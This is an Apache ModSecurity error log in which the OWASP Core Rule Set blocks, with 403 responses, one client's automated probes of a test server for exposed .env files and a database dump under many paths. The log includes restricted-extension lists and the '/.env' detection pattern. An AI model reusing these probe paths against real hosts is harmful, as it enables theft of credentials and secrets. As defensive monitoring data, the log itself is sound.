[Wed Feb 25 06:05:07.639781 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/drupal/.env&quot;] [unique_id &quot;aZ6DA2Xxsr5IXP-ltRia4wAAAAA&quot;]
[Wed Feb 25 06:05:07.639967 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/drupal/.env&quot;] [unique_id &quot;aZ6DA2Xxsr5IXP-ltRia4wAAAAA&quot;]
[Wed Feb 25 06:05:07.666714 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dump.sql&quot;] [unique_id &quot;aZ6DA2Xxsr5IXP-ltRia5AAAAAA&quot;]
[Wed Feb 25 06:05:07.667289 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dump.sql&quot;] [unique_id &quot;aZ6DA2Xxsr5IXP-ltRia5AAAAAA&quot;]
[Wed Feb 25 06:05:07.667499 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dump.sql&quot;] [unique_id &quot;aZ6DA2Xxsr5IXP-ltRia5AAAAAA&quot;]
[Wed Feb 25 06:05:07.678229 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /first-network/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/first-network/.env&quot;] [unique_id &quot;aZ6DA4v6AM5Bs3q_JQDYcwAAAAc&quot;]
[Wed Feb 25 06:05:07.678503 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/first-network/.env&quot;] [unique_id &quot;aZ6DA4v6AM5Bs3q_JQDYcwAAAAc&quot;]
[Wed Feb 25 06:05:07.678678 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/first-network/.env&quot;] [unique_id &quot;aZ6DA4v6AM5Bs3q_JQDYcwAAAAc&quot;]
[Wed Feb 25 06:05:07.689352 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /e2e/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/e2e/.env&quot;] [unique_id &quot;aZ6DA2Xxsr5IXP-ltRia5QAAAAA&quot;]
[Wed Feb 25 06:05:07.689602 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/e2e/.env&quot;] [unique_id &quot;aZ6DA2Xxsr5IXP-ltRia5QAAAAA&quot;]
[Wed Feb 25 06:05:07.689759 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/e2e/.env&quot;] [unique_id &quot;aZ6DA2Xxsr5IXP-ltRia5QAAAAA&quot;]
[Wed Feb 25 06:05:07.716365 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /en/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/en/.env&quot;] [unique_id &quot;aZ6DA2Xxsr5IXP-ltRia5gAAAAA&quot;]
[Wed Feb 25 06:05:07.716640 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/en/.env&quot;] [unique_id &quot;aZ6DA2Xxsr5IXP-ltRia5gAAAAA&quot;]
[Wed Feb 25 06:05:07.716813 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/en/.env&quot;] [unique_id &quot;aZ6DA2Xxsr5IXP-ltRia5gAAAAA&quot;]
[Wed Feb 25 06:05:07.763676 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /engine/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/engine/.env&quot;] [unique_id &quot;aZ6DA2Xxsr5IXP-ltRia5wAAAAA&quot;]
[Wed Feb 25 06:05:07.763975 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/engine/.env&quot;] [unique_id &quot;aZ6DA2Xxsr5IXP-ltRia5wAAAAA&quot;]
[Wed Feb 25 06:05:07.764191 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/engine/.env&quot;] [unique_id &quot;aZ6DA2Xxsr5IXP-ltRia5wAAAAA&quot;]
[Wed Feb 25 06:05:07.806783 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /first_config/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/FIRST_CONFIG/.env&quot;] [unique_id &quot;aZ6DA4v6AM5Bs3q_JQDYdAAAAAc&quot;]
[Wed Feb 25 06:05:07.807080 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/FIRST_CONFIG/.env&quot;] [unique_id &quot;aZ6DA4v6AM5Bs3q_JQDYdAAAAAc&quot;]
[Wed Feb 25 06:05:07.807288 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/FIRST_CONFIG/.env&quot;] [unique_id &quot;aZ6DA4v6AM5Bs3q_JQDYdAAAAAc&quot;]
[Wed Feb 25 06:05:07.996552 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /fisdom/fisdom/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/fisdom/fisdom/.env&quot;] [unique_id &quot;aZ6DA4v6AM5Bs3q_JQDYdQAAAAc&quot;]
[Wed Feb 25 06:05:07.996831 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/fisdom/fisdom/.env&quot;] [unique_id &quot;aZ6DA4v6AM5Bs3q_JQDYdQAAAAc&quot;]
[Wed Feb 25 06:05:07.996992 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/fisdom/fisdom/.env&quot;] [unique_id &quot;aZ6DA4v6AM5Bs3q_JQDYdQAAAAc&quot;]
[Wed Feb 25 06:05:08.039550 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /fixtures/blocks/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/fixtures/blocks/.env&quot;] [unique_id &quot;aZ6DBIv6AM5Bs3q_JQDYdgAAAAc&quot;]
[Wed Feb 25 06:05:08.039845 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/fixtures/blocks/.env&quot;] [unique_id &quot;aZ6DBIv6AM5Bs3q_JQDYdgAAAAc&quot;]
[Wed Feb 25 06:05:08.040037 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/fixtures/blocks/.env&quot;] [unique_id &quot;aZ6DBIv6AM5Bs3q_JQDYdgAAAAc&quot;]
[Wed Feb 25 06:05:08.134198 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /env/dockers/mariadb-test/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/env/dockers/mariadb-test/.env&quot;] [unique_id &quot;aZ6DBGXxsr5IXP-ltRia6wAAAAA&quot;]
[Wed Feb 25 06:05:08.134513 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/env/dockers/mariadb-test/.env&quot;] [unique_id &quot;aZ6DBGXxsr5IXP-ltRia6wAAAAA&quot;]
[Wed Feb 25 06:05:08.134709 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/env/dockers/mariadb-test/.env&quot;] [unique_id &quot;aZ6DBGXxsr5IXP-ltRia6wAAAAA&quot;]
[Wed Feb 25 06:05:08.161579 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /fixtures/fiber-debugger/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/fixtures/fiber-debugger/.env&quot;] [unique_id &quot;aZ6DBIv6AM5Bs3q_JQDYdwAAAAc&quot;]
[Wed Feb 25 06:05:08.161886 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/fixtures/fiber-debugger/.env&quot;] [unique_id &quot;aZ6DBIv6AM5Bs3q_JQDYdwAAAAc&quot;]
[Wed Feb 25 06:05:08.162088 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/fixtures/fiber-debugger/.env&quot;] [unique_id &quot;aZ6DBIv6AM5Bs3q_JQDYdwAAAAc&quot;]
